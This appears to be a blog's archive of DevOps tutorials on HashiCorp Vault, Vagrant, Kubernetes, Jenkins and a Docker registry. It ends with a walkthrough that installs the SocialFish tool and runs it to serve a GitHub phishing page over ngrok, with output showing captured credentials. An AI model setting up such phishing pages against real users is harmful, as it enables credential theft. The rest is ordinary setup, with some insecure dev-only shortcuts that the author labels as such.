Vagrant and Vault

I was a little surprised why there is no Vagrant plug-in for Vault. Then I thought no matter, because the Vagrantfile is actually a Ruby script. Let me try it. I have to say right away that I’m not a Ruby developer! But here is my solution which has brought me to the goal.

Prerequisite

  • latest Vault installed (0.11.0)
  • latest Vagrant installed (2.1.3)

Prepare project and start Vault

# create new project
$ mkdir -p ~/Projects/vagrant-vault && cd ~/Projects/vagrant-vault

# create 2 empty files
$ touch vagrant.hcl Vagrantfile

# start Vault in development mode
$ vault server -dev

Here my simple vagrant policy (don’t do that in production).

path "secret/*" {
  capabilities = ["read", "list"]
}

And here is my crazy and fancy Vagrantfile

# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'net/http'
require 'uri'
require 'json'
require 'ostruct'

################ YOUR SETTINGS ####################
ROLE_ID = '99252343-090b-7fb0-aa26-f8db3f5d4f4d'
SECRET_ID = 'b212fb14-b7a4-34d3-2ce0-76fe85369434'
URL = 'http://127.0.0.1:8200/v1/'
SECRET_PATH = 'secret/data/vagrant/test'
###################################################

def getToken(url, role_id, secret_id)
  uri = URI.parse(url + 'auth/approle/login')
  request = Net::HTTP::Post.new(uri)
  request.body = JSON.dump({
    "role_id" => role_id,
    "secret_id" => secret_id
  })

  req_options = {
    use_ssl: uri.scheme == "https",
  }

  response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
    http.request(request)
  end

  if response.code == "200"
    result = JSON.parse(response.body, object_class: OpenStruct)
    token = result.auth.client_token
    return token
  else
    return ''
  end
end

def getSecret(url, secret_url, token)
  uri = URI.parse(url + secret_url)
  request = Net::HTTP::Get.new(uri)
  request["X-Vault-Token"] = token

  req_options = {
    use_ssl: uri.scheme == "https",
  }

  response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
    http.request(request)
  end

  if response.code == "200"
    result = JSON.parse(response.body, object_class: OpenStruct)
    return result
  else
    return ''
  end
end

token = getToken(URL, ROLE_ID, SECRET_ID)

unless token.to_s.strip.empty?
  result = getSecret(URL, SECRET_PATH, token)
  unless result.to_s.strip.empty?
    sec_a = result.data.data.secret_a
    sec_b = result.data.data.secret_b
  end
else
  puts 'Error - please check your settings'
  exit(1)
end

Vagrant.configure("2") do |config|
  config.vm.box = "centos/7"
  config.vm.post_up_message = 'Secret A:' + sec_a + ' - Secret B:' + sec_b
end

Configure Vault

# set environment variables (new terminal)
$ export VAULT_ADDR='http://127.0.0.1:8200'

# check status (optional)
$ vault status

# create simple kv secret
$ vault kv put secret/vagrant/test secret_a=foo secret_b=bar

# show created secret (optional)
$ vault kv get --format yaml -field=data secret/vagrant/test

# create/import vagrant policy
$ vault policy write vagrant vagrant.hcl

# show created policy (optional)
$ vault policy read vagrant

# enable AppRole auth method
$ vault auth enable approle

# create new role
$ vault write auth/approle/role/vagrant token_num_uses=1 token_ttl=10m token_max_ttl=20m policies=vagrant

# show created role (optional)
$ vault read auth/approle/role/vagrant

# show role_id
$ vault read auth/approle/role/vagrant/role-id
...
99252343-090b-7fb0-aa26-f8db3f5d4f4d
...

# create and show secret_id
$ vault write -f auth/approle/role/vagrant/secret-id
...
b212fb14-b7a4-34d3-2ce0-76fe85369434
...

Run it

# starts and provisions the vagrant environment
$ vagrant up

😉 … it just works

Unseal Vault with PGP

In this tutorial I will show an example for unsealing Vault using GPG. We generate for two users the keys and each user will use them to unseal. For the storage we use Consul.

Conditions

Host Preparation

First we need to setup, configure and start Consul and Vault.

Note: Because of the security settings of my provider, spaces are after “etc”. Please delete it after copy/paste.

# create new project
$ mkdir -p ~/Projects/VaultConsulPGP/consul-data && cd ~/Projects/VaultConsulPGP

# create private/public keys
$ openssl req -newkey rsa:4096 -nodes -keyout private_key.pem -x509 -days 365 -out public_key.pem
...
Country Name (2 letter code) []:CH
State or Province Name (full name) []:Zuerich
Locality Name (eg, city) []:Winterthur
Organization Name (eg, company) []:Softwaretester
Organizational Unit Name (eg, section) []:QA
Common Name (eg, fully qualified host name) []:demo.env
Email Address []:demo@demo.env
...

# create HCL configuration
$ touch ~/Projects/VaultConsulPGP/vault.hcl

# add hosts entry
$ echo -e "127.0.0.1 demo.env\n" >> /etc /hosts

# start consul service
$ consul agent -server -bootstrap-expect 1 -data-dir $HOME/Projects/VaultConsulPGP/consul-data -ui

# start vault service
$ vault server -config $HOME/Projects/VaultConsulPGP/vault.hcl

Do not stop and/or close any terminal sessions!

ui = true

storage "consul" {
  address = "127.0.0.1:8500"
  path    = "vault"
}

listener "tcp" {
  address       = "demo.env:8200"
  tls_cert_file = "public_key.pem"
  tls_key_file  = "private_key.pem"
}

Your project folder now should look like this:

# show simple folder tree
$ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
.
|____private_key.pem
|____vault_tutorial.md
|____vault.hcl
|____consul-data
|____public_key.pem

Client Preparation

As I wrote – we need to simulate two users. Now to the Docker client’s…

# run client A
$ docker run -ti --name client_a --mount type=bind,source=$HOME/Projects/VaultConsulPGP,target=/tmp/target bitnami/minideb /bin/bash

# run client B
docker run -ti --name client_b --mount type=bind,source=$HOME/Projects/VaultConsulPGP,target=/tmp/target bitnami/minideb /bin/bash

Both client’s need similar configuration, so please execute the following steps on both containers.

# install needed packages
$ apt-get update && apt-get install -y curl unzip gnupg iputils-ping

# get host IP
$ HOST_IP=$(ping -c 1 host.docker.internal | grep "64 bytes from"|awk '{print $4}')

# add hosts entry
$ echo -e "${HOST_IP} demo.env\n" >> /etc /hosts

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# extract archive and move binary and clean up
$ unzip -d /tmp /tmp/vault.zip && mv /tmp/vault /usr/local/bin/ && rm /tmp/vault.zip

# generate GPG key (1x for each client)
$ gpg --gen-key
...
Real name: usera
...
Real name: userb
...
# don't set a passphrase!!!!

# export generated key (client 1)
$ gpg --export [UID] | base64 > /tmp/target/usera.asc

# export generated key (client 2)
$ gpg --export [UID] | base64 > /tmp/target/userb.asc

Your project folder now should look like this:

# show simple folder tree
$ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
.
|____private_key.pem
|____vault_tutorial.md
|____vault.hcl
|____consul-data
     |____ ...
     |____ ...
|____public_key.pem
|____usera.asc
|____userb.asc

Initialize and Unseal Vault

On the host we initialize the Vault and share unseal key’s back to the client’s.

# set environment variables
$ export VAULT_ADDR=https://demo.env:8200
$ export VAULT_CACERT=public_key.pem

# ensure proper location (host)
cd ~/Projects/VaultConsulPGP

# initialize vault
$ vault operator init -key-shares=2 -key-threshold=2 -pgp-keys="usera.asc,userb.asc"

Note: Save now all keys and share the correspondending <unseal keys> to the client’s!

Now our client’s can start the unseal of Vault. Even here, please execute the following steps on both containers.

# set environment variables
$ export VAULT_ADDR=https://demo.env:8200
$ export VAULT_CACERT=/tmp/target/public_key.pem

# decode unseal key
$ echo "<unseal key>" | base64 -d | gpg -dq

# unseal vault
$ vault operator unseal <...>

Just for information

We configured both services (Consul and Vault) with WebUI.

# open Consul in Firefox
$ open -a Firefox http://127.0.0.1:8500

# open Vault in Firefox
$ open -a Firefox https://demo.env:8200/ui

Use the “Initial Root Token” to login into Vault’s WebUI.

Hashicorp Vault SSH OTP

With Vault’s SSH secret engine you can provide an secure authentication and authorization for SSH. With the One-Time SSH Password (OTP) you don’t need to manage keys anymore. The client requests the credentials from the Vault service and (if authorized) can connect to target service(s). Vault will take care that the OTP can be used only once and the access is logged. This tutorial will provide needed steps on a simple Docker infrastructure. Attention, in that tutorial Vault and Vault-SSH-Helper are running in Development Mode – don’t do that in production!

Conditions

Vault server

Let’s start and prepare the vault service.

# run vault-service container (local)
$ docker run -ti --name vault-service bitnami/minideb /bin/bash

# install packages
$ apt-get update && apt-get install -y ntp curl unzip ssh sshpass

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# unzip and delete archive
$ unzip -d /tmp/ /tmp/vault.zip && rm /tmp/vault.zip

# move binary
$ mv /tmp/vault /usr/local/bin/

# start vault (development mode)
$ vault server -dev -dev-listen-address='0.0.0.0:8200'

Don’t stop or close terminal session! Open new terminal. Note: The IP’s I use in this tutorial may be different to yours.

# get IP of container (local)
$ docker inspect -f '{{ .NetworkSettings.IPAddress }}' vault-service
...
172.17.0.2
...

# run commands on container (local)
$ docker exec -ti vault-service /bin/bash

# set environment variable
$ export VAULT_ADDR='http://0.0.0.0:8200'

# enable ssh secret engine
$ vault secrets enable ssh

# create new vault role
$ vault write ssh/roles/otp_key_role key_type=otp default_user=root cidr_list=0.0.0.0/0

Target server

Now we create and configure the target service.

Note: Because of the security settings of my provider, spaces are after “etc”. Please delete it after copy/paste.

# run target-service container (local)
$ docker run -ti --name target-service bitnami/minideb /bin/bash

# install packages
$ apt-get update && apt-get install -y ntp curl unzip ssh vim

# download vault-ssh-helper
$ curl -C - -k https://releases.hashicorp.com/vault-ssh-helper/0.1.4/vault-ssh-helper_0.1.4_linux_amd64.zip -o /tmp/vault-ssh-helper.zip

# unzip and delete archive
$ unzip -d /tmp/ /tmp/vault-ssh-helper.zip && rm /tmp/vault-ssh-helper.zip

# move binary
$ mv /tmp/vault-ssh-helper /usr/local/bin/

# create directory
$ mkdir /etc /vault-ssh-helper.d

# add content to file
$ cat > /etc /vault-ssh-helper.d/config.hcl << EOL
vault_addr = "http://172.17.0.2:8200"
ssh_mount_point = "ssh"
ca_cert = "/etc /vault-ssh-helper.d/vault.crt"
tls_skip_verify = false
allowed_roles = "*"
EOL

# verify config (optional)
$ vault-ssh-helper -dev -verify-only -config=/etc /vault-ssh-helper.d/config.hcl

Pam SSHD configuration (on target server)

# modify pam sshd configuration
$ vim /etc /pam.d/sshd
...
#@include common-auth
auth requisite pam_exec.so quiet expose_authtok log=/tmp/vaultssh.log /usr/local/bin/vault-ssh-helper -dev -config=/etc /vault-ssh-helper.d/config.hcl
auth optional pam_unix.so not_set_pass use_first_pass nodelay
...

SSHD configuration (on target server)

# modify sshd_config
$ vim /etc /ssh/sshd_config
...
ChallengeResponseAuthentication yes
UsePAM yes
PasswordAuthentication no
PermitRootLogin yes
...
# start SSHD
$ /etc /init.d/ssh start

# echo some content into file (optional)
$ echo 'Hello from target-service' > /tmp/target-service

Client server

Last container is for simulating a client.

# run some-client container (local)
$ docker run -ti --name some-client bitnami/minideb /bin/bash

# install packages
$ apt-get update && apt-get install -y ntp curl unzip ssh sshpass

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# unzip and delete archive
$ unzip -d /tmp/ /tmp/vault.zip && rm /tmp/vault.zip

# move binary
$ mv /tmp/vault /usr/local/bin/

# set environment variable
$ export VAULT_ADDR='http://172.17.0.2:8200'

# authenticate as root (root token)
$ vault auth <root token>

Usage

Most work is already done. Now we use the demo environment.

# get container IP of target-service (local)
$ docker inspect -f '{{ .NetworkSettings.IPAddress }}' target-service
...
172.17.0.3
...

# get container IP of some-client (local)
$ docker inspect -f '{{ .NetworkSettings.IPAddress }}' some-client
...
172.17.0.4
...
# create an OTP credential (vault-service)
$ vault write ssh/creds/otp_key_role ip=172.17.0.3
$ vault write ssh/creds/otp_key_role ip=172.17.0.4

Note: Because of the security settings of my provider, spaces are after “root”. Please delete it after copy/paste.

# connect via vault SSH (vault-service)
$ vault ssh -role otp_key_role -mode otp -strict-host-key-checking=no root @172.17.0.3

# connect via vault SSH (some-client)
$ vault ssh -role otp_key_role -mode otp -strict-host-key-checking=no root @172.17.0.3

# read content of file (via SSH connections)
$ cat /tmp/target-service

# tail logfile (target-service)
$ tail -f /tmp/vaultssh.log

Start with Vault 0.10.x

HashiCorp released Vault version 0.10.x on April 2018. The 0.10.x release delivers many new features and changes (eq. K/V Secrets Engine v2, Vault Web UI, etc.). Please have a look on vault/CHANGELOG for more informations. This tiny tutorial will concentrate now on usage of Vault’s Key-Value Secrets Engine via CLI.

Preparation

# download version 0.10.3
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.3/vault_0.10.3_darwin_amd64.zip -o ~/Downloads/vault.zip

# unzip and delete archive
$ unzip ~/Downloads/vault.zip -d ~/Downloads/ && rm ~/Downloads/vault.zip

# change access permissions and move binary to target
$ chmod u+x ~/Downloads/vault && sudo mv ~/Downloads/vault /usr/local/

Start Vault server in development mode

# start in simple development mode
$ vault server -dev

Do not stop the process and open new tab on terminal [COMMAND] + [t].

# set environment variable
$ export VAULT_ADDR='http://127.0.0.1:8200'

# check vault status
$ vault status

Create, Read, Update and Delete secrets

# create secret (version: 1)
$ vault kv put secret/demosecret name=demo value=secret

# list secrets (optional)
$ vault kv list secret

# read secret
$ vault kv get secret/demosecret

# read secret (JSON)
$ vault kv get --format json secret/demosecret

# update secret (version: 2)
$ vault kv put secret/demosecret name=Demo value=secret foo=bar

# read secret (latest version)
$ vault kv get secret/demosecret

# read secret (specific version)
$ vault kv get --version 1 secret/demosecret

# read secret (specific field)
$ vault kv get --field=name secret/demosecret

# delete secret (latest version)
$ vault kv delete secret/demosecret

# show metadata
$ vault kv metadata get secret/demosecret

As you can see, there are minor changes to previous versions of Vault.

Note: The API for the Vault KV secrets engine even changed.

# read (version 1)
$ curl -H "X-Vault-Token: ..." https://127.0.0.1:8200/v1/secret/demosecret

# read (version 2)
$ curl -H "X-Vault-Token: ..." https://127.0.0.1:8200/v1/secret/data/demosecret

Okay, back to CLI and some examples which are better for automation. We will use the STDIN and a simple JSON file.

# create secret (version: 1)
$ echo -n "my secret" | vault kv put secret/demosecret2 name=-

# list secrets (optional)
$ vault kv list secret

# update secret (version: 2)
$ echo -n '{"name": "other secret"}' | vault kv put secret/demosecret2 -

# create JSON file
$ echo -n '{"name": "last secret"}' > ~/Desktop/demo.json

# update secret (version: 3)
$ vault kv put secret/demosecret2 @$HOME/Desktop/demo.json

# read secrets (different versions)
$ vault kv get --version 1 secret/demosecret2
$ vault kv get --version 2 secret/demosecret2
$ vault kv get --version 3 secret/demosecret2

# delete version permanent
$ vault kv destroy --versions 3 secret/demosecret2

# show metadata
$ vault kv metadata get secret/demosecret2

Web UI

Previously the Web UI was for Enterprise only, now it has been made open source.

# open URL in browser
$ open http://localhost:8200/

Now you can use the root token to sign in.

Running Jenkins on Kubernetes (Docker for Mac)

Now we will deploy Jenkins-Docker on local Kubernetes. If you haven’t Kubernetes running yet, feel free to have a look on my previous tutorial. I will try to describe with very basic steps the tutorial. That’s may confusing for advanced peoples or experts but it should help beginner to get in that topic. For example, this tutorial uses 2 YAML files.

Preparation

# create new project
$ mkdir -p ~/Projects/KubernetesJenkins && cd ~/Projects/KubernetesJenkins

# create needed files
$ touch namespace.yml pod.yml

# modify namespace.yml
$ vim namespace.yml

# modify pod.yml
$ vim pod.yml
apiVersion: v1
kind: Namespace
metadata:
  name: qa-namespace
  labels:
    name: qa-namespace
apiVersion: v1
kind: Pod
metadata:
  name: jenkins.example.com
  labels:
    app: qa-jenkins-app
  namespace: qa-namespace
spec:
  containers:
    - name: jenkins
      image: jenkins/jenkins:lts-alpine
      ports:
        - containerPort: 8080

Let’s go – start Jenkins container on Kubernetes

# show nodes (optional)
$ kubectl get nodes

# create namespace
$ kubectl create -f ~/Projects/KubernetesJenkins/namespace.yml

# show namespaces (optional)
$ kubectl get namespaces --show-labels

# create pod
$ kubectl create -f pod.yml

# show pods of namespace
$ kubectl get pods --namespace qa-namespace

# show pod informations (optional)
$ kubectl describe pod jenkins.example.com --namespace qa-namespace

Open Jenkins in Browser

Jenkins is already running but you cannot access Jenkins without one important step! You need to configure the network routing. Probably the easiest option to do that is a simple port-forward.

# show ports in use (optional)
$ lsof -i -P | grep -i "listen"

# create port-forward to specific namespace
$ kubectl port-forward jenkins.example.com 8080:8080 --namespace=qa-namespace

# open browser (new terminal)
$ open http://localhost:8080

The 2nd way is to expose a service. This possibility is recommended only for local environments! For example on AWS you use load-balancer and there the way is a little bit different.

# expose pod as service
$ kubectl expose pod jenkins.example.com --namespace=qa-namespace --type=NodePort --name jenkins-service

# show services in namespace (optional)
$ kubectl get services --namespace qa-namespace

# show service informations (optional)
$ kubectl get service jenkins-service --namespace qa-namespace

# get node port
$ kubectl describe service jenkins-service --namespace qa-namespace | grep NodePort

# open browser (same terminal)
$ open http://localhost:32654

Whatever way you prefer, you need the initial admin password for Jenkins and/or you may need to see logs.

# show key for Jenkins activation
$ kubectl exec jenkins.example.com --namespace qa-namespace -- cat /var/jenkins_home/secrets/initialAdminPassword

# show logs of pod
$ kubectl logs -f jenkins.example.com --namespace qa-namespace

That’s it… Now you can use Jenkins.

CleanUp

If you want to clean up, proceed as follows.

# delete service
$ kubectl delete service jenkins-service --namespace qa-namespace

# list services (optional)
$ kubectl get services --namespace qa-namespace

# delete pod
$ kubectl delete pod jenkins.example.com --force --namespace qa-namespace

# list pods (optional)
$ kubectl get pods --namespace qa-namespace

# delete namespace
$ kubectl delete namespaces qa-namespace

# list namespaces (optional)
$ kubectl get namespaces

Kubernetes with Docker for Mac

The newer versions of Docker for Mac actually bring everything for the use of Kubernetes. Since the current documentation is not so optimal, I try it in my own way. Since I plan to further testing tutorials on this topic, this guide will serve as a basis.

Preparation

Kubernetes is currently only supported via Docker Edge. Caution, if you switch from stable to edge all Docker images and containers will be deleted! If you are already using the Edge version, skip the following steps 1 till 3.

Docker for Mac Version Stable

  1. Download Docker for Mac Edge Version… You can exit Docker for Mac while downloading.
  2. After successful download of DMG start the installation (Replace the old version).
  3. Start Docker and follow the instructions.
  4. Activate Kubernetes now via “Enable Kubernetes” checkbox and install the Kubernetes cluster. This can take a while, do not lose your patience!
  5. When the installation is finished you can check it.

Enable Kubernetes

Docker Version Edge with Kubernetes

Note, if you have already used minikube, you should now switch the cluster. You can switch between clusters at any time via GUI or command-line.

# show kubectl version
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"9", GitVersion:"v1.9.6", GitCommit:"9f8ebd171479bec0ada837d7ee641dec2f8c6dd1", GitTreeState:"clean", BuildDate:"2018-03-21T15:21:50Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"darwin/amd64"}
Unable to connect to the server: dial tcp 192.168.99.100:8443: i/o timeout

# show current context
$ kubectl config current-context
minikube

# switch context
$ kubectl config use-context docker-for-desktop
Switched to context "docker-for-desktop".

# show kubectl version
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"9", GitVersion:"v1.9.6", GitCommit:"9f8ebd171479bec0ada837d7ee641dec2f8c6dd1", GitTreeState:"clean", BuildDate:"2018-03-21T15:21:50Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"9", GitVersion:"v1.9.6", GitCommit:"9f8ebd171479bec0ada837d7ee641dec2f8c6dd1", GitTreeState:"clean", BuildDate:"2018-03-21T15:13:31Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"linux/amd64"}

Now it’s a good time to know some more about current cluster, nodes, pods and namespaces. This will help to understand everything better!

# show cluster informations
$ kubectl cluster-info
Kubernetes master is running at https://localhost:6443
KubeDNS is running at https://localhost:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.

# show nodes informations
$ kubectl get nodes
NAME                 STATUS    ROLES     AGE       VERSION
docker-for-desktop   Ready     master    14m       v1.9.6

# show pod informations
$ kubectl get pods
No resources found.

# show namespaces informations
$ kubectl get namespaces
NAME          STATUS    AGE
default       Active    23m
docker        Active    21m
kube-public   Active    23m
kube-system   Active    23m

As you can see, everything is working fine. The system is now ready for usage. By the way, have a look on your Docker images!

# list current Docker images (optional)
$ docker images
...

Deploying the Kubernetes Web UI Dashboard

Finally we deploy the Kubernetes Web UI Dashboard on our new Kubernetes Master as a Pod in namespace kube-system. The Dashboard is not installed/deployed by default. Although everything is possible via command-line, it can help to better understand and analyze the system.

# create a resource from a file
$ kubectl create -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml
secret "kubernetes-dashboard-certs" created
serviceaccount "kubernetes-dashboard" created
role "kubernetes-dashboard-minimal" created
rolebinding "kubernetes-dashboard-minimal" created
deployment "kubernetes-dashboard" created
service "kubernetes-dashboard" created

# list pods in specific namespace
$ kubectl get pods --namespace=kube-system
NAME                                         READY     STATUS    RESTARTS   AGE
etcd-docker-for-desktop                      1/1       Running   0          46m
kube-apiserver-docker-for-desktop            1/1       Running   0          46m
kube-controller-manager-docker-for-desktop   1/1       Running   0          46m
kube-dns-6f4fd4bdf-f7pjw                     3/3       Running   0          47m
kube-proxy-c676q                             1/1       Running   0          47m
kube-scheduler-docker-for-desktop            1/1       Running   0          46m
kubernetes-dashboard-5bd6f767c7-f9w4j        1/1       Running   0          1m

# forward port to specific pod (Attention! Your pod may have a different name!)
$ kubectl port-forward kubernetes-dashboard-5bd6f767c7-f9w4j 8443:8443 --namespace=kube-system
Forwarding from 127.0.0.1:8443 -> 8443

# open Web UI Dashboard
$ open https://localhost:8443

Skip Authentication

You can skip authentication and jump directly to the dashboard. This step should may give you a hint. Never ever do the same in production!

Kubernetes Dashboard

That’s it already! Have a look on created dashboard and get familiar with your new Kubernetes environment.

Docker registry and Let’s Encrypt

In a previous tutorial, I showed you how to setup a insecure Docker registry. Now we will use HTTPS via certificates from Let’s Encrypt and without some insecure registry settings.

Order dedicated host

If you have a host already, skip this section. If you looking for an good and cheap dedicated host, have a look on Dedibox.

Dedibox

After successful order you can start to install CentOS (Server distributions).

install os on Dedibox

When the OS installation is done, please take care for security! On tecmint.com you can find some cool guides “The Mega Guide To Harden and Secure CentOS 7“. On official Docker docs you will found all needed steps for your Docker CE installation.

Register and configure free domain

Let’s Encrypt need a domain! Register on Freenom and order new domain for free (.tk, .ml, .ga, .cf, .gq). If you have a domain already, skip this section.

free domain

Ensure your dns is configured correctly!

Freenom dns management

Create new Let’s Encrypt certificates

Login into your host via SSH and follow next steps. Attention, replace “demotesthost.tk” by your own domain!

# install epel-release
$ yum install -y epel-release

# install certbot
$ yum install -y certbot

# show default configuration
$ firewall-cmd --list-all

# open firewall ports 80, 443
$ firewall-cmd --permanent --add-port=80/tcp
$ firewall-cmd --permanent --add-port=443/tcp

# reload firewall
$ firewall-cmd --reload

# create needed certificates
$ certbot certonly --standalone --email admin@demotesthost.tk -d demotesthost.tk

# close firewall port 80
$ firewall-cmd --permanent --remove-port=80/tcp

# reload firewall
$ firewall-cmd --reload

# list certificates (optional)
$ ls -lahG /etc /letsencrypt/archive/demotesthost.tk/

# create new directory
$ mkdir -p /opt/certs

# copy needed certificates
$ cp /etc /letsencrypt/archive/demotesthost.tk/cert1.pem /opt/certs/
$ cp /etc /letsencrypt/archive/demotesthost.tk/privkey1.pem /opt/certs/

# list certificates (optional)
$ ls -la /opt/certs/
...
-rwxrwxrwx  1 root root 1797 Feb 27 17:17 cert1.pem
-rwxrwxrwx  1 root root 1704 Feb 27 17:17 privkey1.pem

Note: The space after /etc is just because of security settings by my provider!

Run your Docker registry

# search for image (optional)
$ docker search registry
NAME              DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED
registry          The Docker Registry 2.0 implementation for s…   1853      [OK]                
...

# download and run container
$ docker run -d \
  --restart=always \
  --name registry \
  -v /opt/certs:/certs \
  -e REGISTRY_HTTP_SECRET=test1234 \
  -e REGISTRY_HTTP_ADDR=0.0.0.0:5000 \
  -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/cert1.pem \
  -e REGISTRY_HTTP_TLS_KEY=/certs/privkey1.pem \
  -p 443:5000 \
  registry:2

# check logs (optional)
$ docker logs -f registry

# check container (optional)
$ docker ps -a

# connection test from local to host (optional)
$ curl -v https://demotesthost.tk/v2/_catalog

Now it’s time for push and pull a images

# pull small alpine image
$ docker pull alpine

# tag alpine image
$ docker tag alpine demotesthost.tk/myalpine

# push image to registry (try)
$ docker push demotesthost.tk/myalpine
The push refers to repository [demotesthost.tk/myalpine]
Get https://demotesthost.tk/v2/: x509: certificate signed by unknown authority

# download needed certs
$ curl -O https://letsencrypt.org/certs/isrgrootx1.pem
$ curl -O https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem

# open directory in Finder
$ open .

After download and open Finder, you should see similar files.

letsencrypt  CA certificates

Simply install both CA certificates via double-click.

letsencrypt certificate install

Optional you can check via “Keychain Access.app”.

Keychain Access.app

Now restart local docker and try again.

# push image
$ docker push demotesthost.tk/alpine

# check repositories via curl (optional)
$ curl https://demotesthost.tk/v2/_catalog
{"repositories":["alpine"]}

# check image tags via curl (optional)
$ curl https://demotesthost.tk/v2/alpine/tags/list
{"name":"alpine","tags":["latest"]}

# delete local images
$ docker rmi alpine
$ docker rmi demotesthost.tk/alpine

# pull image from your registry
$ docker pull demotesthost.tk/alpine

… next steps

So what about authentication? Currently everybody can upload/download images! What that means for security, should be clear. Please read the Docker docs about.

Create phishing sites with SocialFish

With SocialFish you can easily and quickly create phishing sites. Of course, only for learning purposes! Here is a little tutorial to getting started.

Requirements

  • make, PHP, sudo
  • Python 2.7
  • Python PIP
  • Python virtualenv

Preparation

# create new project
$ mkdir -p ~/Projects/SocialFish && cd ~/Projects/SocialFish

# create Makefile
$ vim Makefile
VIRTUALENV_DIR = .env

.PHONY: destroy

CURRENT_DIR := $(shell pwd)
INTERPRETER = $(CURRENT_DIR)/$(VIRTUALENV_DIR)/bin
PATH := ${PATH}:$(INTERPRETER)/

help :
	@echo "Usage: $ make <target>"
	@echo " > create    : create project"
	@echo " > run       : run project"
	@echo " > destroy   : destroy project"

create :
	@echo "[RUN]: clone from git"
	@git clone https://github.com/UndeadSec/SocialFish.git
	@make env

destroy :
	@echo "[RUN]: destroy project"
	@rm -fr ./$(VIRTUALENV_DIR)/
	@rm -fr ./SocialFish/

env :
	@echo "[RUN]: create virtualenv"
	@virtualenv $(VIRTUALENV_DIR) && \
	. $(VIRTUALENV_DIR)/bin/activate
	@make deps

deps :
	@echo "[RUN]: install dependencies"
	@$(INTERPRETER)/pip install -r $(CURRENT_DIR)/SocialFish/requirements.txt

run :
	@echo "[RUN]: start SocialFish"
	@cd SocialFish && \
	../.env/bin/python SocialFish.py

Usage

Here an phishing example for GitHub.

# download and create
$ make create

# start SocialFish
$ make run

 [!] Do you agree to use this tool for educational purposes only? (y/n)
 SF > y

Select an option:

 [1] Facebook

 [2] Google

 [3] LinkedIn

 [4] Github

 [5] StackOverflow

 [6] WordPress

 [7] Twitter

 SF >  4


   _.-=-._     .-, 
 .'       "-.,' / 
(          _.  < 
 `=.____.="  `._\


 [*] Github module loaded. Building site...
Password:

 [*] Ngrok URL: https://5cf8cc89.ngrok.io

 [*] Waiting for credentials... 

PHP 7.1.7 Development Server started at Sun Feb 18 16:11:23 2018
Listening on http://127.0.0.1:80
Document root is /Users/lupin/Projects/SocialFish/SocialFish/Server/www
Press Ctrl-C to quit.

SocialFish

[Sun Feb 18 16:13:06 2018] 127.0.0.1:50603 [200]: /
[Sun Feb 18 16:13:07 2018] 127.0.0.1:50612 [404]: /opensearch.xml - No such file or directory
[Sun Feb 18 16:13:18 2018] 127.0.0.1:50618 [302]: /login.php
 [ CREDENTIALS FOUND ]:
 [EMAIL]: test@mail.de [PASS]: test1234

# destroy all
$ make destroy

😉 super easy …